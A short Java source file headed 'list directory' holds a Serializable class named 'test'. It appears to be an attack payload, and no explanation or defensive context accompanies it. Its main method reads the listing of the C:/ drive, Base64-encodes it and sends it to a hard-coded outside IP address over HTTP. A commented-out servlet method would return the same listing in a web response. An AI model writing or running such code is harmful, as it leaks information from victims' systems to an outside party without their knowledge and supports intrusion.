列目录

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.Serializable;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
//import javax.servlet.http.HttpServletRequest;
//import javax.servlet.http.HttpServletResponse;
public class test implements Serializable {
    public test() {
    }
    private static String readFileToString(String filepath) throws FileNotFoundException, IOException {
        StringBuilder sb = new StringBuilder();
        String s = "";
        BufferedReader br = new BufferedReader(new FileReader(filepath));
        while((s = br.readLine()) != null) {
            sb.append(s + "\n");
        }
        br.close();
        String str = sb.toString();
        return str;
    }
//    public void e(Object request, Object response) throws IOException, ClassNotFoundException {
//        HttpServletResponse res = (HttpServletResponse)response;
//        HttpServletRequest req = (HttpServletRequest)request;
//        res.getWriter().write("hahah123");
//        String[] filenames = (new File("C:/")).list();
//
//        for(int i = 0; i < filenames.length; ++i) {
//            res.getWriter().write(filenames[i] + "\n");
//        }
//
//    }
    public static void main(String[] args) throws Exception {
        StringBuilder sb = new StringBuilder();
        String s = "";
        String[] filenames = (new File("C:/")).list();
        for(int i = 0; i < filenames.length; ++i) {
            sb.append(filenames[i] + "\n");
        }
        String str = sb.toString();
        System.out.println(str);
        String base = Base64.getEncoder().encodeToString(str.getBytes(StandardCharsets.UTF_8));
        new java.net.URL("http://101.34.177.35:8081/?a="+base).openConnection().getInputStream();
    }
}